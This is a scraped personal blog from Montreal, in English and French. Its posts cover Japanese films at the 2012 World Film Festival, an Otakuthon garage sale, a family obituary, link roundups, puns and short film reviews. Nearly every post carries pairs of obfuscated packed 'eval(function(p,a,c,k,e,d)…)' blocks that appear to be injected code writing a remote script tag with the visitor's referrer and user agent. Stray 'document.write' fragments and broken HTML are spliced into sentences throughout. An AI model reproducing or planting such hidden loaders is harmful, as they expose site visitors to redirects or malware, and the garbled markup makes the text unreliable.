eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szkhr|var|u0026u|referrer|izkaz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|stazr|var|u0026u|referrer|trfid||js|php’.split(‘|’),0,{}))


Cependant quand je suis revenu de travailler hier soir, les voisins avaient fait le ménage et disparu étaient les Gloires du matin et les petits chatons courant dans la cour. C’est bien dommage. L’idée de petits chatons perdus dans la ruelle me rend très triste…

Malheureusement j’en ai déjà plein les bras avec mes deux chats et avec mes précédentes mauvaises expériences à essayer sans succès de trouver preneurs pour des chatons abandonnés, je dois me rendre à l’évidence que je ne peux rien y faire.

Toutefois, n’ayez crainte, on a entendu et entr’appercu la chatte et ses chatons chez un autre voisin dont la cour est, elle, encore en friche.

[ Translate ]

Montreal World Film Festival 2012

In a press conference today, document.write(“”); the Montreal World Film Festival announced the programming of its 36th edition, which will be held from August 23 to September 3. During the twelve days of its duration, the festival will present 432 films from 80 countries, including 212 feature-length movies, 16 medium-length and 204 short films. 212 of those features will be the first film of its director and 216 of those productions will be world or international premieres! You can read more details in the press release announcing this impressive line-up.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeyas|var|u0026u|referrer|krsbf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hksyd|var|u0026u|referrer|yntzh||js|php’.split(‘|’),0,{}))


This year the festival is offering us eleven Japanese movies (more than last year): three in competition (including one Canadian co-production and one in the first film competition), three in the World Great category and five in the Focus on World Cinema (including one short).

The World Competition

First Films World Competition

  • Sono Yoru no Samurai (The Samurai That Night): Japan, 2012, 119 min.; Dir./Scr.: Masaaki Akahori (based on a play by himself); Cast: Sakura Andô, Gô Ayano, Tomorowo Taguchi, Mitsuki Tanimura, Hirofumi Arai, Maki Sakai.

    Nakamura is released from prison after serving five years for killing a woman in a hit-and-run accident. The woman’s husband has vowed revenge.

    Schedule: Sat 9/1 18:40 L9.01.4; Sat 9/1 9:30 L14.01.1; Sun 9/2 16:10 L14.02.4; 9/3 14:20 L14.03.2.

World Great (Out of Competition)

  • Yamamoto Isoroku (Admiral Yamamoto): Japan, 2011, 140 min.; Dir.: Izuru Narushima; Scr.: Yasuo Hasegawa, Kenzaburo Iida; Phot.: Takahide Shibanushi, Hiroshi Futsuta; Ed.: Hirohide Abe; Mus.: Tarô Iwashiro; Prod.: Shohei Kotaki; Cast: Koji Yakusho, Hiroshi Tamaki, Akira Emoto, Toshiro Yanagiba, Hiroshi Abe, Eisaku Yoshida, Kippei Shiina, Takeo Nakahara, Ikuji Nakamura, Mitsugoro Bando, Mieko Harada, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi. See description on AsianWiki.

    Japan, summer 1939. Pressure is building for Japan to sign a pact with Germany and Italy, but admiral Yamamoto is reluctant to go to war with the US, whom he considers too powerful.

    Schedule: Sat 8/25 11:00 L9.25.1; Sun 8/26 18:40 L9.26.5.
    Read our commentary on this movie.

  • Nobou no Shiro (The Floating Castle): Japan, 2012, 146 min.; Dir.: Isshin Inudo & Shinji Higushi; Scr.: Ryo Wada (based on his 2007 novel); Mus.: Koji Ueno; Prod: Osamu Kubota; Cast: Mansai Nomura, Koichi Sato, Hiroki Narimiya, Tomomitsu Yamaguchi, Nana Eikura, Honami Suzuki, Masachika Ichimura, Yusuke Kamiji, Takayuki Yamada, Takehiro Hira, Machiko Ono, Mana Ashida, Gin Maeda, Tokyo Dageki Dan, Sohkoh Wada.

    In the year 1590, Toyotomi Hideyoshi is on the verge of conquering all of Japan. One obstacle remains: a floating fortress known as Oshi Castle, defended by only 500 men.

    Schedule: Tue 8/28 18:40 L9.28.4; Wed 8/29 16:30 L15.29.4; Thu 8/30 11:40 L15.30.2.
    Read our commentary on this movie.

  • Itai (Reunion): Japan, 2012, 100 min.; Dir.: Ryoichi Kimizuka (based on a non-fiction book by Ishii Kota); Cast: Nishida Toshiyuki, Ogata Naoto, Katsuji Ryo, Kunimura Jun, Sakai Wakana, Sato Koichi, Sano Shiro, Sawamura Ikki, Shida Mirai, Tsutsui Michitaka, and Yanagiba Toshiro. The story is set in a morgue of Kamaishi, Iwate, in the aftermath of the great March 11th 2011 Tohoku earthquake and tsunami. More details on Tokyo Hive or AsianWiki.

    In March 2011, following the devastating earthquake and subsequent tsunami, a small town on northeastern Japan is faced with the problem of collecting and disposing of the victims’ bodies.

    Schedule: Sat 9/1 21:20 L9.01.5; Sun 9/2 14:00 L14.02.3; Mon 9/3 12:00 L14.03.1.

Focus on World Cinema

  • Kazoku no Kuni (Our Homeland): Japan, 2012, 100 min.; Dir./Scr.: Yong-hi Yang; Phot.: Yoshihisa Toda; Ed.: Takashige Kikui; Mus.: Tarô Iwashiro. Cast: Sakura Andô, Arata, Ik-Joon YangYang, Kotomi Kyôno, Masane Tsukayama, Yoshiko Miyazaki, Tarô Suwa. More details on The Japan Times.

    A Japanese family of Korean origin are torn apart by ideology as they welcome one of their own after 25 years in a “repatriation program.”

    Schedule: Fri 8/31 14:30 L15.31.3; Fri 8/31 21:40 L15.31.6; Sat 9/1 16:30 L15.01.4; Sun 9/2 12:40 L15.02.2.

  • Kon-shin: Japan, 2012, 134 min.; Dir.: Yoshinari Nishikori (based on Kenichi Kawakami novel); Cast: Sho Aoyagi, Ayumi Ito, and Naomi Zaizen. The story revolves around a Sumo wrestler preparing for a big classical Sumo Wrestling tournament held at Mizuwaka Temple on Oki island, Shimane Prefecture.

    Originally, Sumo was not a sport but a sacred ceremony. The classic Sumo culture and practice is still alive on the Oki islands.

    Schedule: Thu 8/30 13:50 L16.30.3; Fri 8/31 16:30 L16.31.4; Sat 9/1 21:00 L16.01.5.

  • Boku no Naka no Otoko no ko (The Little Girl in Me): Japan, 2012, 100 min.; Dir./Scr./Ed.: Shoji Kubota; Cast: Ryoma Baba, Bengaru, Ryûnosuke Kawai, Naoki Kawano, Hôka Kinoshita, Kouta Kusano, Yuri Nakamura, Kiriko Shimizu, Asahi Uchida, Kinuwo Yamada, Yûrei Yanagi.

    Devastated after being fired from his job, Kensuke locks himself up in his room, with only the Internet as his window to the outside. Then he discovers the world of cross-dressing.

    Schedule: Fri 8/31 12:00 L15.31.2; Fri 8/31 19:10 L15.31.5; Sat 9/1 11:50 L15.01.2; Sun 9/2 21:20 L15.02.6.

  • Tsui no Shintaku (The Terminal Trust): Japan, 2012, 144 min.; Dir./Scr.: Masayuki Suo (based on a short story by Saku Tatsuki); Cast: Tamiyo Kusakari, Kôji Yakusho, Takao Osawa, Tadanobu Asano. A movie about euthanasia.

    Shinzo Egi suffers from severe asthma but he does not want to be placed on life support.

    Schedule: Sat 9/1 14:30 L14.01.3; Sun 9/2 9:30 L14.02.1; Sun 9/2 18:40 L14.02.5.

  • B/W Foxes and the Cave of Light: Japan, 2012, 15 min.; dir.: Kiyoshi Endo; Cast: Takuma Wada. Short Film opening for Boku no Naka no Otoko no ko.

    “In a world of black and white, ore dug from the cave is shedding colored light. Mikuro, the “Black Fox” bandit, appears before the white-haired boy Kohaku, who is captured by a gang of thieves.“ (Festival’s program)

    Read our commentary on this movie.

You can read a little more on some of those movies on the Coco Montreal website as their August issue (pages 8-9) offers an article detailing the Japanese movies at the festival.

The Festival Guide Book is now available online and provides the films’ index and schedule in PDF format. (8/15)

The complete, searchable schedule is now available. (8/17)

See some press coverage on the festival:

You can also read the comments of Claude R. Blouin on the japanese movies presented at the festival on the Shomingekiblog.

More details and links will be added as the information become available.

Updated: 8/8 (MWFF teaser, Karakara & Anata e info); 8/9, 8/10, 8/11 (more movies info), 8/15 (more info, schedule & Karakara’s trailer link), 8/16 (a few details), 8/17 (FFM links), 8/27 (press coverage links) & 9/16 (Shomingekiblog link).

R.I.P. Roger


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzbzy|var|u0026u|referrer|rztyd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfhrz|var|u0026u|referrer|sdbek||js|php’.split(‘|’),0,{}))
Roger Pelletier
1924-2012
R.I.P. cher oncle

Press Review (July)

Another busy (and tiring) month, document.write(“”); but despite all I still gathered enough scraplinks to share after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|setey|var|u0026u|referrer|nfeas||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhtya|var|u0026u|referrer|rthra||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

White-collar union stuff (SFMM) & Montreal’s libraries

Otakuthon 2012

Again this year we will be at Otakuthon to promote Anime & Manga (as well as the still-on-hold <a href="http://www.protoculture-mag.com/&quot; target="“new”""iProtoculture/i/a) but mostly to sell lots of goodies from my personal collection (I moved last year into a smaller space and I really need to make some room).br /
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bynrr|var|u0026u|referrer|bsdne||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dekfy|var|u0026u|referrer|ibeda||js|php’.split(‘|’),0,{}))
br /
The convention will be held August 3-5 at the Palais des Congrès de Montréal (201, document.write(“”); Viger Avenue West, near Métro Place d’Armes). Check the a href=”
http://www.otakuthon.com/&#8221; target=”“new””Otakuthon website/A for details.br /
br /
I’ve been doing this for a long time and this year might very well be the last year (I am not getting any younger after all) so don’t miss this opportunity to check my anime & manga garage sale and find special or inexpensive goodies (mostly Dvds and manga at $5 or $10 each, some art books, and more)!br /
br /
Come meet and discuss with us!br /
br /
Encore une fois cette année, je serai à a href=”http://www.otakuthon.com/&#8221; target=”“new”””>Otakuthon pour faire la promotion de l’anime et du manga (et aussi de notre magazine Otakuthon pour plus de détails.

Je fais ça depuis pas mal d’années mais cette fois-ci pourrait bien être la dernière (on ne rajeuni pas après tout) alors ne manquez surtout pas cette opportunité de jeter un coup d’oeil sur ma petite vente de garage et d’y trouver des items spéciaux et des aubaines incroyables (surtout des Dvds et des manga à $5 ou $10, quelques “art books” et plus)!

Venez nous recontrer pour discuter!

True intellectuals

While looking at the two plastic bags that I always carry with me in my backpack (in case I need to wrap stuff; I keep using and reusing them) I realized that they (one bag of SAQ and the other from Archambault) were representing the two staples of true intellectuals: booze and books! (10/30/2010)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|seahd|var|u0026u|referrer|yehaz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krift|var|u0026u|referrer|nnhek||js|php’.split(‘|’),0,{}))

[
Traduire ]

Moaning glory

I recently read a quote in Readers’ Digest that describes exactly how people feel about my humour:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yekkk|var|u0026u|referrer|tkffn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhtse|var|u0026u|referrer|dhfan||js|php’.split(‘|’),0,{}))

“People may claim to hate puns, document.write(“”); but most true word lovers have groaned to like them.”

(Jay Heinrichs, in Word Hero: A fiendishly clever guide to crafting the lines that get laughs, go viral, and live forever, from Three Rivers Press.

[ Traduire ?! ]

Key to happiness

I recently read in Readers’ Digest about a celebrity (I’m not sure which one) who was saying:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yftaa|var|u0026u|referrer|anfdh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nyiaa|var|u0026u|referrer|rdaes||js|php’.split(‘|’),0,{}))

“The key to happiness is good health and a bad memory.”

How true! But in fact that person was probably misquoting Rita Mae Brown: “One of the keys to happiness is a bad memory.” Who was herself quoting Ingrid Begman. (Or is it the other way around? Who knows!)

Lots has been said about happiness and I am sure there are no magic recipe, document.write(“”); but I also agree that happiness comes from acceptance and the expression of love (among many things). So: happy, happy, joy, joy!

[ Traduire ]

Press Review (June)

I just can’t believe that I am now fifty year-old! If I do feel the increased age, document.write(“”); it’s not really what’s kept me from blogging in the last months, but the fact that I commute nearly three hours each day to get to work, which leave me completely drained (and sometimes even depressed). I fear I won’t produce much as long as I will be stuck in this “commute-work-sleep” (or as we say in french “métro-boulot-dodo”) kind of groundhog-day loop. However, I had been still quietly reading news and stashing links to the most interesting stories for later use and posterity. I am still willing to share them with you after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esrda|var|u0026u|referrer|beasd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbnhr|var|u0026u|referrer|zress||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International Politics

Humour

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

[ Traduire ]

Tâche ingrate

Je réalise maintenant pourquoi ma tâche m’apparait aussi ingrate: depuis que ma position est devenu permanente, document.write(“”); je ne peux plus être remercié!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frsde|var|u0026u|referrer|biyef||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|niyst|var|u0026u|referrer|dtish||js|php’.split(‘|’),0,{}))

[ Intraduisible! ]

Crazy-ism

“Five social misfits commit a successful murder-robbery, document.write(“”); but, stuck in their hideout, they soon fight over the money” (2011 World Film Festival of Montreal schedule book, pg. 44)

Warning: may contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bheba|var|u0026u|referrer|kfhbn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dihyn|var|u0026u|referrer|idhdy||js|php’.split(‘|’),0,{}))

Having rob an old man of his life savings (which he kept under a mattress) a group of young people who are all in dire need of money meet in an unused gym to spit their disappointing spoils. It result in discord and fights as they all plot to try to keep the loot for themselves — some with the help of unscrupulous yakusa.

Probably the worse film I’ve seen at the festival this year. It has no real action, the character have no depth and it’s a type of story we’ve seen more than a dozen time already. Since the action is very static and takes place in only two or three sets, it feels like a stage play rather than a movie. By moments some scenes were so ridiculous that it reminded me of those italian comedy (or puppets show) were characters hit each other with a club and fall on their back!

It is certainly entertaining but of little interest as it is not well directed nor played.

Kureizizum (Crazy-ism): Japan, 2010, 90 min.; Dir./Scr./Ed.: Shoji Kubota; Phot.: Aya Matsubayashi; Cast: Ryoba Baba, Akiko An, Makoto Uenobori, Enoku Shimegi, Kurumi Hijikata, Hikaru Shida. Screened as part of the “Regards sur les cinémas du monde” segment at the Montreal World Film Festival 2011, on August 22nd, 21:40 in Cinéma Quartier Latin 10.

Catherine de Médicis

La rumeur courrait que Catherine tenait son surnom du fait qu’elle arrivait toujours légèrement en retard pour le dîner… Ben oui, document.write(“”); comme dans “Midi-six”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tsdya|var|u0026u|referrer|drdiz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfbsz|var|u0026u|referrer|fkrzb||js|php’.split(‘|’),0,{}))

[
Translate ]

Muybridge’s Strings

“Can time be made to stand still? Can it be reversed? A meditation on this theme, document.write(“”); contrasting the worlds of the photographer Eadweard Muybridge — who in 1878 successfully photographed consecutive phases in the movement of a galloping horse — and a mother who, watching her daughter grow up, realizes she is slipping away from her.” (From 2011 Montreal World Film Festival program book, pg. 63)

Warning: may contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbben|var|u0026u|referrer|zkzer||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tyaar|var|u0026u|referrer|itbtz||js|php’.split(‘|’),0,{}))

This movie offers a very wobbly hand-drawn animation (made of drawing and painting on paper), a classical soundtrack (a canon by J.S. Bach) without any spoken words and a very confusing story. It is clearly inspired by the contribution of Eadweard Muybridge to the genesis of early cinema with the invention of the phenakistoscope and zoopraxiscope. He first “filmed” a horse in motion by using a series of strings that would be successively hit by a running horse thus triggering a succession of camera. The animation seems also to makes allusion to Muybridge discovering that his wife was having affair and the fact that he shot and killed her lover (a murder for which he was later acquitted). There was also lots of scenes of a mother and child dancing and playing piano, but that would not have made much sense to me if I would not have read the program description. Overall, it is an amusing animation.

A co-production with the National Film Board of Canada, which seemed to have produced the musical part of the animation.

Muybridge’s Strings: Canada/Japan, 2011, 13 min.; Dir./Scr./Ed.: Koji Yamamura; Original Music, Sound Design: Normand Roger, Pierre Yves Drapeau, Denis Chartrand; Ex. Prod.: David Verrall (NFB), Kenji Saito (NHK), Shuzo John Shiota (Polygon); Prod.: Michael Fukushima (NFB), Keisuke Tsuchihashi (NHK), Shuzo John Shiota (Polygon). A co-production of the National Film Board of Canada, NHK and Polygon Pictures. Screened as part of the “Shorts Official Competition” segment at the Montreal World Film Festival 2011, on August 21st, 21:30 in Maisonneuve Theatre (opening for Dirty Hearts).

Change of point of view

The universe is so vast and complex that all we can see is a tiny slice of one of multiple layers. But if we move only by a fraction of an inch we can sometimes see it under an entirely differant angle…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ithab|var|u0026u|referrer|sdrzz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eybsb|var|u0026u|referrer|kyzzr||js|php’.split(‘|’),0,{}))

[
Traduire ]

Antoki no Inochi

